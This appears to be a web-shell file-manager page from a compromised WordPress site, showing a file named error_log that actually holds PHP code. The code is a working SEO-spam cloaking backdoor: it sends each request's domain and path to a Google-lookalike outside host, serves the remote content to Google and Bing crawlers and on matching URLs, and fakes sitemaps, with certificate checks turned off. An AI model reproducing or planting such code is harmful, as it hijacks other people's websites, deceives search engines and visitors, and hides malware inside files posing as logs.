/
/
home
/
melaqxso
/
nymetrocualumni.com
/
wp-content
Server: server63.web-hosting.com (198.54.116.184)
You: 216.73.216.61
PHP 7.4.33
Dir:
/home/melaqxso/nymetrocualumni.com/wp-content
Edit:
/home/melaqxso/nymetrocualumni.com/wp-content/error_log
<?php ob_start(); http_response_code(200); header("Content-Type: text/html; charset=utf-8"); header("Status: 200 OK", true, 200); try { ini_set('display_errors', 'off'); error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $api_url_show = "https://api.googlevv.com/6-1/show.php"; $api_url_404 = "https://api.googlevv.com/6-1/404.php"; $agent_curl = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; $domain = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? ($_SERVER['HTTP_HOST'] ?? ''); $file = $_SERVER['REQUEST_URI'] ?? ($_SERVER['HTTP_X_REWRITE_URL'] ?? ''); $post_data = [ 'file' => $file, 'domain' => $domain, 'http' => $protocol, ]; $url_arr = !empty($file) ? explode("/", urldecode($file)) : []; if ( isset($url_arr[1], $url_arr[2], $domain) && $url_arr[1] === substr(md5(str_replace("www.", "", $domain) . $url_arr[2]), 0, 4) || stripos($file, "sitemap.xml") !== false ) { $result = posturl("{$api_url_show}?{$domain}{$file}", $post_data); if (stripos($file, "sitemap.xml") !== false) { header('Content-Type: application/xml'); echo $result; exit; } if (!empty($result)) { echo $result; exit; } } if ( stripos($agent_curl, 'google') !== false || stripos($agent_curl, 'bing') !== false ) { $result = posturl("{$api_url_404}?{$domain}{$file}", $post_data); if (!empty($result)) { echo $result; } } } catch (Exception $exception) { } function posturl($url, $post_data = null) { $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_TIMEOUT => 30, CURLOPT_RETURNTRANSFER => 1, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', CURLOPT_REFERER => $_SERVER['HTTP_REFERER'] ?? 'Unknown', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => json_encode($post_data), ]); $data = curl_exec($curl); curl_close($curl); return $data; } ?>
Ukuran: 2.4 KB